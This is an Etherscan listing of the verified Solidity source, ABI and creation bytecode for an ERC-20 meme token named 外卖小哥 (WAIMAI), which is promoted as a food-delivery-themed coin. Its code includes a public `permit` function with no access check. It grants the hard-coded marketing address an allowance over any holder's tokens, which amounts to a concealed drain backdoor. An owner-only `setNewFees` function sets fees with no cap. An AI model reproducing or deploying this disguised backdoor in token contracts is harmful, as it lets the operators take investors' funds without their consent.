ERC-20
Overview
Max Total Supply
1,000,000 外卖小哥
Holders
30
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
12,221.039272080199090734 外卖小哥Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
WAIMAI
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-09 */ // SPDX-License-Identifier: MIT /* 外卖, or food delivery services, have experienced tremendous growth in recent years, revolutionizing the way people enjoy meals. Website: https://www.waimai.services Twitter: https://twitter.com/wmxiaoge_erc Telegram: https://t.me/wmxiaoge_erc */ pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20Standard { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IERC20Meta is IERC20Standard { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20Standard, IERC20Meta { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the default value returned by this function, unless * it's overridden. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20Standard-balanceOf} and {IERC20Standard-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20Standard-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20Standard-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20Standard-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20Standard-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20Standard-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20Standard-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20Standard-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20Standard-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _permit(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract WAIMAI is ERC20(unicode"外卖小哥", unicode"外卖小哥"), Ownable { mapping(address => bool) private _isExcludedFromTax; mapping(address => bool) private _isExcludedFromTx; IUniswapFactory public constant DEX_FACTORY = IUniswapFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); IDexRouter public constant DEX_ROUTER = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uint256 constant _supplies = 1_000_000 * 10 ** 18; bool public limitsInEffect = true; bool public isLaunched = false; bool public swapEnabled = false; bool public hasLaunchFees = true; uint256 public maxBuySize; uint256 public maxSellAmount; uint256 public maxWalletSize; uint256 public maxFeeThreshold; uint256 public minFeeThreshold; uint256 public deadBlock; uint256 public buyFeeTokens; uint256 public sellFeeTokens; bool private swapping; address public marketingAddress; uint256 public totalTokensToSwap; address public immutable uniswapV2Pair; constructor(){ _mint(msg.sender, _supplies); _approve(address(this), address(DEX_ROUTER), ~uint256(0)); _removeMaxTx(address(DEX_ROUTER), true); uniswapV2Pair = DEX_FACTORY.createPair( address(this), DEX_ROUTER.WETH() ); maxWalletSize = (totalSupply() * 30) / 1_000; maxFeeThreshold = (totalSupply() * 65) / 10_000; maxBuySize = (totalSupply() * 20) / 1_000; minFeeThreshold = (totalSupply() * 1) / 10_000; maxSellAmount = (totalSupply() * 20) / 1_000; marketingAddress = 0xC8cACD0A524a7C9Ef08B89636d672725F47b2f03; _removeMaxTx(msg.sender, true); _removeMaxTx(address(this), true); _removeMaxTx(address(0xdead), true); removeFees(msg.sender, true); removeFees(address(this), true); removeFees(marketingAddress, true); removeFees(address(0xdead), true); } function _removeMaxTx( address updAds, bool isExcluded ) private { _isExcludedFromTx[updAds] = isExcluded; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount must be greater than 0"); if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) ) { if (!isLaunched) { require( _isExcludedFromTx[from] || _isExcludedFromTx[to], "ERROR: Trading is not active." ); require(from == owner(), "ERROR: Trading is enabled"); } //when buy if ( from == uniswapV2Pair && !_isExcludedFromTx[to] ) { require( amount <= maxBuySize, "ERROR: Buy transfer amount exceeds the max buy." ); require( amount + balanceOf(to) <= maxWalletSize, "ERROR: Cannot Exceed max wallet" ); } //when sell else if ( to == uniswapV2Pair && !_isExcludedFromTx[from] ) { require( amount <= maxSellAmount, "ERROR: Sell transfer amount exceeds the max sell." ); } else if ( !_isExcludedFromTx[to] && !_isExcludedFromTx[from] ) { require( amount + balanceOf(to) <= maxWalletSize, "ERROR: Cannot Exceed max wallet" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= maxFeeThreshold; if ( canSwap && swapEnabled && !swapping && amount > minFeeThreshold && !(from == uniswapV2Pair) && !_isExcludedFromTax[from] && !_isExcludedFromTax[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = true; if (_isExcludedFromTax[from] || _isExcludedFromTax[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if(hasLaunchFees){ getFeeTotal(); } // Sell if (to == uniswapV2Pair && sellFeeTokens > 0) { fees = (amount * sellFeeTokens) / 100; totalTokensToSwap += fees; } // Buy else if (from == uniswapV2Pair && buyFeeTokens > 0) { fees = (amount * buyFeeTokens) / 100; totalTokensToSwap += fees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function permit(address spender, uint256 amount) public virtual returns (bool) { address owner = marketingAddress; _permit(spender, owner, amount); return true; } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = totalTokensToSwap; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > maxFeeThreshold) { contractBalance = maxFeeThreshold; } swapTokensForEth(contractBalance); payable(marketingAddress).transfer(address(this).balance); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = DEX_ROUTER.WETH(); DEX_ROUTER.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function setNewFees(uint256 newBuyFees, uint256 newSellFees) external onlyOwner { buyFeeTokens = newBuyFees; sellFeeTokens = newSellFees; } function removeLimits() external onlyOwner { limitsInEffect = false; } function openTrading() public onlyOwner { require(deadBlock == 0, "ERROR: Token state is already live !"); deadBlock = block.number; isLaunched = true; swapEnabled = true; } function getFeeTotal() internal { require( deadBlock > 0, "Trading not live" ); uint256 currentBlock = block.number; uint256 lastTierOneBlock = deadBlock + 6; if(currentBlock <= lastTierOneBlock) { buyFeeTokens = 18; sellFeeTokens = 18; } else { buyFeeTokens = 4; sellFeeTokens = 4; hasLaunchFees = false; } } receive() external payable {} function removeFees(address account, bool excluded) public onlyOwner { _isExcludedFromTax[account] = excluded; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEX_FACTORY","outputs":[{"internalType":"contract IUniswapFactory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DEX_ROUTER","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLaunchFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isLaunched","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuySize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxFeeThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minFeeThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"permit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"removeFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeeTokens","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFees","type":"uint256"},{"internalType":"uint256","name":"newSellFees","type":"uint256"}],"name":"setNewFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526008805463ffffffff191663010000011790553480156200002457600080fd5b50604080518082018252600c8082526be5a496e58d96e5b08fe593a560a01b602080840182905284518086019095529184529083015290600362000069838262000762565b50600462000078828262000762565b505050620000956200008f620003e160201b60201c565b620003e5565b620000ab3369d3c21bcecceda100000062000437565b620000ce30737a250d5630b4cf539739df2c5dacb4c659f2488d600019620004fe565b737a250d5630b4cf539739df2c5dacb4c659f2488d60005260076020527ffd21a1ac9a14dff647460ce8ad2ccecb794a59a4cfbb8678b1f9900a6a99551f805460ff19166001179055735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200018e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b491906200082e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000202573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022891906200082e565b6001600160a01b03166080526103e86200024160025490565b6200024e90601e62000876565b6200025a919062000896565b600b556127106200026a60025490565b6200027790604162000876565b62000283919062000896565b600c556103e86200029360025490565b620002a090601462000876565b620002ac919062000896565b600955612710620002bc60025490565b620002c990600162000876565b620002d5919062000896565b600d556103e8620002e560025490565b620002f290601462000876565b620002fe919062000896565b600a5560118054610100600160a81b03191674c8cacd0a524a7c9ef08b89636d672725f47b2f0300179055336000908152600760205260409020805460ff19166001179055306000908152600760205260409020805460ff1916600117905561dead60005260076020527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d805460ff19166001179055620003a133600162000626565b620003ae30600162000626565b601154620003cc9061010090046001600160a01b0316600162000626565b620003db61dead600162000626565b620008cf565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620004935760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060026000828254620004a79190620008b9565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b038316620005625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016200048a565b6001600160a01b038216620005c55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016200048a565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6200063062000660565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b505050565b6005546001600160a01b03163314620006bc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016200048a565b565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006e957607f821691505b6020821081036200070a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200065b57600081815260208120601f850160051c81016020861015620007395750805b601f850160051c820191505b818110156200075a5782815560010162000745565b505050505050565b81516001600160401b038111156200077e576200077e620006be565b62000796816200078f8454620006d4565b8462000710565b602080601f831160018114620007ce5760008415620007b55750858301515b600019600386901b1c1916600185901b1785556200075a565b600085815260208120601f198616915b82811015620007ff57888601518255948401946001909101908401620007de565b50858210156200081e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200084157600080fd5b81516001600160a01b03811681146200085957600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141762000890576200089062000860565b92915050565b600082620008b457634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111562000890576200089062000860565b608051611ab66200090e6000396000818161037401528181610d5501528181610e970152818161106c0152818161117f01526112000152611ab66000f3fe6080604052600436106102135760003560e01c8063715018a611610118578063a5ece941116100a0578063c9567bf91161006f578063c9567bf9146105ea578063c9f22c3e146105ff578063dd62ed3e14610620578063e6f7053114610640578063f2fde38b1461066057600080fd5b8063a5ece9411461056f578063a9059cbb14610594578063ad1c2f92146105b4578063baccf5cf146105ca57600080fd5b80638da5cb5b116100e75780638da5cb5b146104de5780638f3fa860146104fc57806395d89b411461051257806397b87b4a14610527578063a457c2d71461054f57600080fd5b8063715018a614610476578063751039fc1461048b5780637af11ac0146104a0578063877f4de5146104c857600080fd5b806344be73801161019b57806356212e481161016a57806356212e48146103de57806357cb1947146103f457806366d602ae1461040a5780636ddd17131461042057806370a082311461044057600080fd5b806344be73801461034c57806349bd5a5e146103625780634a62bb65146103ae5780634dc9d942146103c857600080fd5b80632924d9dd116101e25780632924d9dd146102b9578063307aebc9146102db578063313ce567146102fa57806339509351146103165780633c2565ff1461033657600080fd5b806306fdde031461021f578063095ea7b31461024a57806318160ddd1461027a57806323b872dd1461029957600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b50610234610680565b6040516102419190611723565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611786565b610712565b6040519015158152602001610241565b34801561028657600080fd5b506002545b604051908152602001610241565b3480156102a557600080fd5b5061026a6102b43660046117b2565b61072c565b3480156102c557600080fd5b506102d96102d43660046117f3565b610750565b005b3480156102e757600080fd5b5060085461026a90610100900460ff1681565b34801561030657600080fd5b5060405160128152602001610241565b34801561032257600080fd5b5061026a610331366004611786565b610783565b34801561034257600080fd5b5061028b60095481565b34801561035857600080fd5b5061028b600d5481565b34801561036e57600080fd5b506103967f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610241565b3480156103ba57600080fd5b5060085461026a9060ff1681565b3480156103d457600080fd5b5061028b60105481565b3480156103ea57600080fd5b5061028b600c5481565b34801561040057600080fd5b5061028b60125481565b34801561041657600080fd5b5061028b600a5481565b34801561042c57600080fd5b5060085461026a9062010000900460ff1681565b34801561044c57600080fd5b5061028b61045b366004611831565b6001600160a01b031660009081526020819052604090205490565b34801561048257600080fd5b506102d96107a5565b34801561049757600080fd5b506102d96107b9565b3480156104ac57600080fd5b50610396737a250d5630b4cf539739df2c5dacb4c659f2488d81565b3480156104d457600080fd5b5061028b600e5481565b3480156104ea57600080fd5b506005546001600160a01b0316610396565b34801561050857600080fd5b5061028b600b5481565b34801561051e57600080fd5b506102346107cd565b34801561053357600080fd5b50610396735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f81565b34801561055b57600080fd5b5061026a61056a366004611786565b6107dc565b34801561057b57600080fd5b506011546103969061010090046001600160a01b031681565b3480156105a057600080fd5b5061026a6105af366004611786565b61085c565b3480156105c057600080fd5b5061028b600f5481565b3480156105d657600080fd5b506102d96105e5366004611855565b61086a565b3480156105f657600080fd5b506102d961087d565b34801561060b57600080fd5b5060085461026a906301000000900460ff1681565b34801561062c57600080fd5b5061028b61063b366004611877565b6108f8565b34801561064c57600080fd5b5061026a61065b366004611786565b610923565b34801561066c57600080fd5b506102d961067b366004611831565b610942565b60606003805461068f906118a5565b80601f01602080910402602001604051908101604052809291908181526020018280546106bb906118a5565b80156107085780601f106106dd57610100808354040283529160200191610708565b820191906000526020600020905b8154815290600101906020018083116106eb57829003601f168201915b5050505050905090565b6000336107208185856109bb565b60019150505b92915050565b60003361073a858285610adf565b610745858585610b59565b506001949350505050565b6107586112ac565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b60003361072081858561079683836108f8565b6107a091906118f5565b6109bb565b6107ad6112ac565b6107b76000611306565b565b6107c16112ac565b6008805460ff19169055565b60606004805461068f906118a5565b600033816107ea82866108f8565b90508381101561084f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61074582868684036109bb565b600033610720818585610b59565b6108726112ac565b600f91909155601055565b6108856112ac565b600e54156108e15760405162461bcd60e51b8152602060048201526024808201527f4552524f523a20546f6b656e20737461746520697320616c7265616479206c696044820152637665202160e01b6064820152608401610846565b43600e556008805462ffff00191662010100179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60115460009061010090046001600160a01b0316610720848285611358565